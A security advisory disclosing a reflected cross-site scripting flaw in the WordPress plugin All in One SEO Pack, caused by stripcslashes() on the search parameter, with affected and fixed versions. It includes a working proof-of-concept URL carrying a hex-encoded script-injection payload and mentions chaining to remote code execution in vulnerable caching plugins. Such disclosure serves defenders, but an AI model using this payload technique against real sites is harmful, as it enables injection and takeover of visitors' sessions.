WordPress Semper Fi Cross Site Scripting

`------------------------------------------------------------------------  
  
Vendor: Semper Fi Web Design (http://semperfiwebdesign.com/)  
  
Software: All in One SEO Pack  
  
Developer: Michael Torbert (http://michaeltorbert.com/)  
  
Product URL: http://wordpress.org/plugins/all-in-one-seo-pack/  
  
Changelog: http://semperfiwebdesign.com/blog/all-in-one-seo-pack/all-in-one-seo-pack-release-history/  
  
Vulnerability type: Reflected Cross-Site Scripting (XSS)  
  
Vulnerable versions:  
1.x branch:  
1.3.6.4 - 1.6.15.2  
  
2.x branch:  
2.0 - 2.0.3  
  
Fixed in: 2.0.3.1  
  
Credit: Charlie Briggs / Richard Clifford  
  
------------------------------------------------------------------------  
  
Advisory details:  
  
Semper Fi Web Design's WordPress plugin, All in One SEO Pack  
introduced the use of PHP function stripcslashes() on the search  
string in version 1.3.6.4, this was continually used in each version  
up until the latest (2.0.3.1)  
  
The use of stripcslashes() means that an encoded payload in the search  
parameter, forming a request of:  
  
http://example.com/wordpress/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e  
  
Would lead to the following output:  
</title><script>alert(document.domain)</script>  
  
This can also be used as an attack vector for the remote code  
execution vulnerabilities in vulnerable versions of the caching  
plugins W3 Total Cache and WP Super Cache.  
  
------------------------------------------------------------------------  
`